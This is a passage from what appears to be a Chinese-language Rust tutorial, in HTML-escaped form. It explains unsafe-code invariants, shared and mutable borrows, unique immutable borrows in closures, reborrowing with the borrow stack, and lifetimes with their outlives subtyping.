&lt;p&gt;从这个例子可以看出，凡是使用了&lt;code&gt;unsafe&lt;&#x2F;code&gt;代码的，为了保证memory safety，都必须维护一定的invariant：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;若invariant可以local地保证，则&lt;code&gt;unsafe&lt;&#x2F;code&gt;感染的范围仅限于&lt;code&gt;unsafe&lt;&#x2F;code&gt;块内部&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若invariant依赖于函数参数，则&lt;code&gt;unsafe&lt;&#x2F;code&gt;会感染函数的所有调用者&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若invariant依赖于trait实现，则&lt;code&gt;unsafe&lt;&#x2F;code&gt;会感染trait的所有实现者&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若invariant依赖于一些可变的状态（即上文的&lt;code&gt;len&lt;&#x2F;code&gt;、&lt;code&gt;cap&lt;&#x2F;code&gt;），则&lt;code&gt;unsafe&lt;&#x2F;code&gt;会感染这些状态的所有访问者&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;前两种情形下，我们依赖于将函数或trait标记成&lt;code&gt;unsafe&lt;&#x2F;code&gt;，来感染所有调用者或实现者&lt;&#x2F;li&gt;
&lt;li&gt;而这种情形下，我们无法将这些状态（可能是struct field或仅仅是一些变量）标记为&lt;code&gt;unsafe&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;这里的解决方案是限制这些状态的visible scope，例如&lt;code&gt;len&lt;&#x2F;code&gt;、&lt;code&gt;cap&lt;&#x2F;code&gt;是private field，因此&lt;code&gt;unsafe&lt;&#x2F;code&gt;至多只能感染当前module，只要当前module提供的safe API保证不会违反memory safety，&lt;code&gt;unsafe&lt;&#x2F;code&gt;的影响范围就不会超出当前module&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;part-iii-the-essence-of-rust&quot;&gt;Part III. The Essence of Rust&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;reference-is-borrow&quot;&gt;Reference is Borrow&lt;&#x2F;h2&gt;
&lt;p&gt;在Rust中，取引用操作的正式名称为&lt;em&gt;borrow&lt;&#x2F;em&gt;，&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;操作符正式名称为&lt;em&gt;shared borrow&lt;&#x2F;em&gt;，而&lt;code&gt;&amp;amp;mut&lt;&#x2F;code&gt;操作符正式名称是&lt;em&gt;mutable borrow&lt;&#x2F;em&gt;。相应地，&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;可以称为shared reference或shared borrow，而&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;可以称为mutable reference或mutable borrow。&lt;&#x2F;p&gt;
&lt;p&gt;从本质上讲，borrow是对ownership机制的一种扩充：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;原本一个value只能被一个变量持有（own）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;let a = expr;&lt;&#x2F;code&gt;, &lt;code&gt;let mut a = expr;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;现在可以通过borrow，使得reference暂时持有value的ownership&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;let r = &amp;amp;a;&lt;&#x2F;code&gt;, &lt;code&gt;let ref r = a;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;let r = &amp;amp;mut a;&lt;&#x2F;code&gt;, &lt;code&gt;let ref mut r = a;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;borrow的基本原则是明确的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;reference不能比被引用者延续更久：这是为了解决Dangling Pointer问题，避免bug&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;mutable reference不能有aliasing：这是为了解决Pointer Aliasing问题，方便编译器优化&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这还有一个好处，就是并发编程时不能使用普通的mutable reference，强迫用户使用标准库提供的同步原语，避免低级错误导致的Data Race&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;shared reference和mutable reference的区别，实际上是双重的。&lt;&#x2F;p&gt;
&lt;p&gt;第一重区别在于mutability，即是否允许修改被引用者：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;shared reference是immutable的，因此又可以称为immutable reference&lt;&#x2F;li&gt;
&lt;li&gt;mutable reference是mutable的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;第二重区别在于uniqueness（或者说exclusiveness）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;shared reference是shared的，对同一个place允许存在多个shared reference&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;mutable reference是unique的，对同一个place只允许存在一个mutable reference，因此又可以称为unique reference&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;更准确地说，是对该place的引用被该mutable reference独占（exclusive borrow），mutable reference不能与shared reference共享对该place的引用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;这里的place不仅可以是对象，也可以是对象的一部分，只要是一种左值即可，这样就允许我们对一个struct的不同field分别取mutable reference&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;shared reference实际上不一定总是immutable的，它有时可以具备&lt;em&gt;interior mutability&lt;&#x2F;em&gt;，因此shared reference和mutable reference的本质区别实际上是uniqueness。&lt;&#x2F;p&gt;
&lt;p&gt;实际上，在closure的capture中，还存在一种特殊的capture mode，称为&lt;em&gt;unique immutable borrow&lt;&#x2F;em&gt;，仅在closure中可用，它就是一种在mutability层面上是immutable的，而在unqieuness层面上是unique的引用。编译器会按照immutable borrow, unique immutable borrow, mutable borrow, move从高到低的优先级自动为capture选取适当的模式。&lt;&#x2F;p&gt;
&lt;p&gt;这样，我们可以将几种borrow总结如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;Immutable&lt;&#x2F;th&gt;&lt;th&gt;Mutable&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Shared&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Shared Borrow&lt;&#x2F;td&gt;&lt;td&gt;Interiorly Mutable Shared Borrow&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Unique&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;Unique Immutable Borrow&lt;&#x2F;td&gt;&lt;td&gt;Mutable Borrow&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;shared borrow和unique immutable borrow的区别在于：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;shared borrow的immutability具有传递性&lt;&#x2F;li&gt;
&lt;li&gt;unique immutable borrow的immutability不具有传递性&lt;&#x2F;li&gt;
&lt;li&gt;所谓传递性，就是指被引用对象中的引用，是否都被视为immutable&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;例如&lt;code&gt;let mut x = 42; let y = &amp;amp;mut x; let a = &amp;amp;y; **a = 10;&lt;&#x2F;code&gt;是无法编译通过的，即使按通常的逻辑&lt;code&gt;*a&lt;&#x2F;code&gt;是mutable reference，因此应该可以修改&lt;code&gt;**a&lt;&#x2F;code&gt;，这体现了shared reference的传递性。&lt;&#x2F;p&gt;
&lt;p&gt;shared borrow的immutability还能感染其引用者，例如&lt;code&gt;let mut x = 42; let y = &amp;amp;mut x; let z = &amp;amp;y; let a = &amp;amp;mut z; ***a = 10;&lt;&#x2F;code&gt;是无法编译通过的，因为从&lt;code&gt;a&lt;&#x2F;code&gt;到&lt;code&gt;***a&lt;&#x2F;code&gt;即&lt;code&gt;x&lt;&#x2F;code&gt;的过程中，要经过shared borrow&lt;code&gt;z&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;反之，考察如下代码，closure会按照unique immutable borrow进行捕获：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let mut a = false;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let x = &amp;amp;mut a;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let mut c = || { *x = true; };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; let y = &amp;amp;x;  this line will not compile, borrow of x must be unique&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    c();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let z = &amp;amp;x;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;由于&lt;code&gt;x&lt;&#x2F;code&gt;是immutable的，不能对&lt;code&gt;x&lt;&#x2F;code&gt;按mutable引用捕获&lt;&#x2F;li&gt;
&lt;li&gt;若对&lt;code&gt;x&lt;&#x2F;code&gt;按immutable引用捕获，则无法执行&lt;code&gt;*x = true&lt;&#x2F;code&gt;（传递性）&lt;&#x2F;li&gt;
&lt;li&gt;但对&lt;code&gt;x&lt;&#x2F;code&gt;按unique immutable borrow进行捕获，就可以执行&lt;code&gt;*x = true&lt;&#x2F;code&gt;（非传递性）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;实际上这体现了mutable reference不能有aliasing的规则：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若可以通过shared reference引用到mutable reference，然后间接地修改mutable reference引用的对象，则等同于shared reference成了mutable reference的alias&lt;&#x2F;li&gt;
&lt;li&gt;因此shared reference的immutability必须有传递性&lt;&#x2F;li&gt;
&lt;li&gt;而反之，unique immutable borrow以及immutable binding（&lt;code&gt;let a = expr;&lt;&#x2F;code&gt;）不具有传递性，因为它们是独占的，不会产生alias&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注意上面代码中的&lt;code&gt;let mut c = || { *x = true; };&lt;&#x2F;code&gt;，含有unique immutable borrow的closure，相当于含有mutable borrow，在调用时必须使用&lt;code&gt;&amp;amp;mut self&lt;&#x2F;code&gt;。这是因为&lt;code&gt;&amp;amp;self&lt;&#x2F;code&gt;受immutable reference的传递性限制，无法通过unique immutable borrow进行修改。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;为了方便使用，Rust在以下情形会自动进行borrow：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Method调用: &lt;code&gt;a.f()&lt;&#x2F;code&gt;可以被自动处理为&lt;code&gt;(&amp;amp;a).f()&lt;&#x2F;code&gt;（若&lt;code&gt;a: Self&lt;&#x2F;code&gt;而&lt;code&gt;f: fn (&amp;amp;Self) -&amp;gt; T&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;Closure调用: &lt;code&gt;c()&lt;&#x2F;code&gt;可以被自动处理为&lt;code&gt;(&amp;amp;a)()&lt;&#x2F;code&gt;（若&lt;code&gt;c&lt;&#x2F;code&gt;只按immutable引用捕获）&lt;&#x2F;li&gt;
&lt;li&gt;数组下标操作符&lt;code&gt;[]&lt;&#x2F;code&gt;: 可重载，LHS参数为引用，&lt;code&gt;a[b]&lt;&#x2F;code&gt;可以被自动处理为&lt;code&gt;*::std::ops::Index::index(&amp;amp;a, b)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;比较操作符&lt;code&gt;==,!=,&amp;lt;,&amp;lt;=,&amp;gt;,&amp;gt;=&lt;&#x2F;code&gt;: 可重载，参数为引用，&lt;code&gt;a == b&lt;&#x2F;code&gt;可以被自动处理为&lt;code&gt;::std::cmp::PartialEq::eq(&amp;amp;a, &amp;amp;b)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;赋值操作符&lt;code&gt;+=,-=,*=,&#x2F;=,%=,&amp;amp;=,|=,^=,&amp;lt;&amp;lt;=,&amp;gt;&amp;gt;=&lt;&#x2F;code&gt;: 可重载，LHS参数为mutable引用，&lt;code&gt;a += b&lt;&#x2F;code&gt;可以被自动处理为&lt;code&gt;::std::ops::AddAssign::add_assign(&amp;amp;a, b)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;解引用操作符&lt;code&gt;*&lt;&#x2F;code&gt;: 可重载，参数为引用，&lt;code&gt;*x&lt;&#x2F;code&gt;可以被自动处理为&lt;code&gt;*std::ops::Deref::deref(&amp;amp;x)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外，Rust还会自动进行dereference，基本上所有场合发生Type不一致时，Rust都会尝试解引用以使Type匹配。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;reborrow-and-borrow-stack&quot;&gt;Reborrow and Borrow Stack&lt;&#x2F;h2&gt;
&lt;p&gt;考虑函数调用&lt;code&gt;f(x)&lt;&#x2F;code&gt;，其中&lt;code&gt;f: fn (&amp;amp;mut i32) -&amp;gt; i32&lt;&#x2F;code&gt;, &lt;code&gt;x: &amp;amp;mut i32&lt;&#x2F;code&gt;，按照通常的逻辑，&lt;code&gt;x&lt;&#x2F;code&gt;将会被move到&lt;code&gt;f&lt;&#x2F;code&gt;的作用域中，最后在&lt;code&gt;f&lt;&#x2F;code&gt;返回时被丢弃，这样一来将无法第二次调用&lt;code&gt;f(x)&lt;&#x2F;code&gt;。然而实际上，可以无限次调用&lt;code&gt;f(x)&lt;&#x2F;code&gt;，而仍保持&lt;code&gt;x&lt;&#x2F;code&gt;有效。&lt;&#x2F;p&gt;
&lt;p&gt;这是由于编译器会自动将&lt;code&gt;f(x)&lt;&#x2F;code&gt;转变为&lt;code&gt;f(&amp;amp;mut *x)&lt;&#x2F;code&gt;，而&lt;code&gt;&amp;amp;mut *x&lt;&#x2F;code&gt;是所谓的reborrow操作，将会对mutable reference&lt;code&gt;x&lt;&#x2F;code&gt;再次borrow，获得一个新的mutable reference，而原本的&lt;code&gt;x&lt;&#x2F;code&gt;暂时被shadow，处于inactive状态，直到&lt;code&gt;f&lt;&#x2F;code&gt;返回时，新的mutable reference被销毁，&lt;code&gt;x&lt;&#x2F;code&gt;重新回到active状态。&lt;&#x2F;p&gt;
&lt;p&gt;对于generic函数，则不一定会进行reborrow操作，设&lt;code&gt;v: &amp;amp;mut i32&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fn f&amp;lt;T&amp;gt;(x: &amp;amp;mut T)&lt;&#x2F;code&gt;: &lt;code&gt;f(v)&lt;&#x2F;code&gt;会自动reborrow，变成&lt;code&gt;f(&amp;amp;mut *v)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;fn f&amp;lt;T: Trait&amp;gt;(x: T)&lt;&#x2F;code&gt;: &lt;code&gt;f(v)&lt;&#x2F;code&gt;不会自动reborrow，&lt;code&gt;v&lt;&#x2F;code&gt;会被move到&lt;code&gt;f&lt;&#x2F;code&gt;中&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;fn f&amp;lt;T&amp;gt;(x: T, y: T)&lt;&#x2F;code&gt;: 对于&lt;code&gt;f(v1, v2)&lt;&#x2F;code&gt;，只有&lt;code&gt;v1&lt;&#x2F;code&gt;会被move到&lt;code&gt;f&lt;&#x2F;code&gt;中，&lt;code&gt;v2&lt;&#x2F;code&gt;会被自动reborrow，即最后变成&lt;code&gt;f(v1, &amp;amp;mut *v2)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所谓的reborrow实际上本质上仍是borrow，也就是说Rust并没有对&lt;code&gt;&amp;amp;*x&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;mut *x&lt;&#x2F;code&gt;引入特殊的语义。试考虑&lt;code&gt;&amp;amp;mut *x&lt;&#x2F;code&gt;，它可以理解为先获得了lvalue&lt;code&gt;*x&lt;&#x2F;code&gt;，然后对这个lvalue进行了borrow。之所以称其为reborrow，是因为该lvalue所在的place实际上已经被&lt;code&gt;x&lt;&#x2F;code&gt;borrow过了，我们又「重新borrow」了一次，reborrow的特殊之处就在于Rust允许我们borrow一个已经被borrow过的lvalue。&lt;&#x2F;p&gt;
&lt;p&gt;更进一步，形如&lt;code&gt;&amp;amp;(*ref).x&lt;&#x2F;code&gt;的borrow也是允许的，也可以视为一种reborrow，即我们可以单独reborrow一个已经被borrow过的lvalue的一部分。&lt;&#x2F;p&gt;
&lt;p&gt;实际上reborrow的行为也是有其适用范围的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;被shared borrow的lvalue，不能被reborrow为mutable reference，只能被reborrow为shared reference&lt;&#x2F;li&gt;
&lt;li&gt;被unique immutable borrow的lvalue，不能被reborrow为mutable reference，但能被reborrow为shared reference&lt;&#x2F;li&gt;
&lt;li&gt;被mutable borrow的lvalue，可以被reborrow为shared reference或mutable reference&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;需要注意的是，当我们使用&lt;code&gt;&amp;amp;mut *x&lt;&#x2F;code&gt;reborrow了&lt;code&gt;x&lt;&#x2F;code&gt;后，我们就将无法使用&lt;code&gt;x&lt;&#x2F;code&gt;，直到该reborrow expire为止，例如下列代码就是错误的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let a = &amp;amp;mut 3;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let b = &amp;amp;mut *a;    &#x2F;&#x2F; &lt;&#x2F;code&gt;a&lt;code&gt; is reborrowed&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*a = 4;             &#x2F;&#x2F; &lt;&#x2F;code&gt;a&lt;code&gt; is shadowed, ERROR&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*b = 5;             &#x2F;&#x2F; reborrow expired&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;应该说，引入reborrow后，每个memory location都会有一个borrow stack。将borrow stack定义在memory location上而不是place上，是因为memory location没有进一步的结构，可以简化讨论，而place可以有子place，其不同的子place可以被分别reborrow，于是构不成一个stack。&lt;&#x2F;p&gt;
&lt;p&gt;borrow stack的规则很简单：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对最初的变量的borrow，位于栈底&lt;&#x2F;li&gt;
&lt;li&gt;此后的每次reborrow，都会将该reborrow放入栈顶&lt;&#x2F;li&gt;
&lt;li&gt;reborrow得到的mutable reference，会将栈中更早的mutable reference屏蔽，使其不能被访问或reborrow&lt;&#x2F;li&gt;
&lt;li&gt;reborrow得到的shared reference，会使栈中更早的mutable reference退化为shared reference，即只能被读取或被reborrow为shared reference&lt;&#x2F;li&gt;
&lt;li&gt;栈顶的reborrow一旦expire，其引起的屏蔽效果即会解除&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这里忽略了具有interior mutability的shared reference以及raw pointer，真正用于定义Rust语义的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;unsafe-code-guidelines&#x2F;blob&#x2F;master&#x2F;wip&#x2F;stacked-borrows.md&quot;&gt;borrow stack&lt;&#x2F;a&gt;模型要复杂得多，因为需要考虑unsafe特性与mutable&#x2F;shared reference的语义的交互。&lt;&#x2F;p&gt;
&lt;p&gt;注意有时实际上可能发生reborrow产生的新reference尚且存活，旧的reference却已经被销毁的情况：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;let new; { let old = &amp;amp;mut x; new = &amp;amp;*old; }; use(new);&lt;&#x2F;code&gt;，即新reference的作用域比旧reference更大&lt;&#x2F;li&gt;
&lt;li&gt;又如&lt;code&gt;let mut parent = &amp;amp;mut p; let child = &amp;amp;parent.x; let parent = &amp;amp;mut q;&lt;&#x2F;code&gt;，即旧reference被覆盖，从而不可达&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此时我们并不会立即将旧的reference从borrow stack中移除，而是会等待栈顶的reborrow先expire，再将旧的borrow移除。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lifetime-part-i-what-is-lifetime&quot;&gt;Lifetime Part I. What is Lifetime&lt;&#x2F;h2&gt;
&lt;p&gt;上面已经介绍了Rust中关于borrow也就是reference的规则，Rust语言的最大特色就在于该规则不是在运行时enforce而是在编译时enforce，Rust编译器中负责检查borrow规则的部分称为&lt;em&gt;borrow checker&lt;&#x2F;em&gt;。显然，由于静态分析的固有缺陷（停机问题），borrow check必然是保守的，会拒绝一部分（根据borrow规则）正确的程序，事实上在1.31版本引入NLL (Non-Lexical Lifetime)之前一些显然正确的程序也会被编译器拒绝。&lt;&#x2F;p&gt;
&lt;p&gt;为了解决编译期borrow check的问题，Rust为其类型系统引入了&lt;em&gt;lifetime&lt;&#x2F;em&gt;的概念，引用类型&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;和trait object类型&lt;code&gt;dyn Trait&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;实际上都附带有lifetime。我们知道，type variable一般用大写字母表示，如&lt;code&gt;T&lt;&#x2F;code&gt;, &lt;code&gt;U&lt;&#x2F;code&gt;。在Rust代码中，我们用&lt;code&gt;&#x27;&lt;&#x2F;code&gt;加上小写字母表示lifetime variable，例如&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;, &lt;code&gt;&#x27;foo&lt;&#x2F;code&gt;，引用类型和trait object类型完整地写出应该是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;引用：&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;, &lt;code&gt;&amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;trait object： &lt;code&gt;dyn Trait&amp;lt;T&amp;gt; + &#x27;a&lt;&#x2F;code&gt;，这里的&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;实际上也是用于表示trait object内部的引用的lifetime，根源上还是引用的lifetime&lt;&#x2F;li&gt;
&lt;li&gt;可以写&lt;code&gt;&#x27;_&lt;&#x2F;code&gt;表示lifetime留待编译器推导（如&lt;code&gt;&amp;amp;&#x27;_ i32&lt;&#x2F;code&gt;），就像&lt;code&gt;_&lt;&#x2F;code&gt;表示类型待编译器推导（如&lt;code&gt;(_, i32)&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们知道type variable的实例是&lt;code&gt;i32&lt;&#x2F;code&gt;、&lt;code&gt;(bool, [u32; 4])&lt;&#x2F;code&gt;等concrete type，那么lifetime variable的实例是什么呢。Rust引入lifetime的概念，是试图表达引用有效的时间范围，即类型为&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;的引用，在&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;这段时间内有效，也就是允许解引用（不是dangling pointer）。显然，这是一个运行时才有的概念，同一个程序运行多次，引用的lifetime会随着code path的不同而或长或短。为了静态地建模lifetime，Rust中lifetime的实例实际上是代码的范围，它应当包含引用&lt;strong&gt;当前可能有效&lt;&#x2F;strong&gt;的所有code point。&lt;&#x2F;p&gt;
&lt;p&gt;为了更好地理解这一点，我们来看一个例子：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let a = &amp;amp;mut 0i32;  &#x2F;&#x2F; --+ lifetime of &lt;&#x2F;code&gt;a``&lt;br &#x2F;&gt;&lt;code&gt;let b = &amp;amp;mut *a;    &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;...                 &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;last_use(a); &#x2F;&#x2F; &amp;lt;--------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这里&lt;code&gt;a&lt;&#x2F;code&gt;的lifetime从其初始化延续到最后一次使用，在整个过程中，访问&lt;code&gt;a&lt;&#x2F;code&gt;都应当是有效的。中间&lt;code&gt;a&lt;&#x2F;code&gt;可以被reborrow，此时仍将&lt;code&gt;a&lt;&#x2F;code&gt;视为是有效的，因为当reborrow expire后我们又可以继续使用&lt;code&gt;a&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;假设&lt;code&gt;a&lt;&#x2F;code&gt;和&lt;code&gt;b&lt;&#x2F;code&gt;的类型分别是&lt;code&gt;&amp;amp;&#x27;a mut i32&lt;&#x2F;code&gt;和&lt;code&gt;&amp;amp;&#x27;b mut i32&lt;&#x2F;code&gt;，即它们的lifetime分别是&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;和&lt;code&gt;&#x27;b&lt;&#x2F;code&gt;。由于reborrow&lt;code&gt;b&lt;&#x2F;code&gt;先于被reborrow的&lt;code&gt;a&lt;&#x2F;code&gt;expire，&lt;code&gt;a&lt;&#x2F;code&gt;的lifetime应该大于&lt;code&gt;b&lt;&#x2F;code&gt;，我们将这种关系称为&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;&lt;em&gt;outlive&lt;&#x2F;em&gt;&lt;code&gt;&#x27;b&lt;&#x2F;code&gt;，记作&lt;code&gt;&#x27;a : &#x27;b&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;基于outlive关系，还可以得到一条subtyping rule：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;&#x27;a : &#x27;b&lt;&#x2F;code&gt;则&lt;code&gt;&amp;amp;&#x27;a T &amp;lt;: &amp;amp;&#x27;b T&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;&#x27;a mut T &amp;lt;: &amp;amp;&#x27;b mut T&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
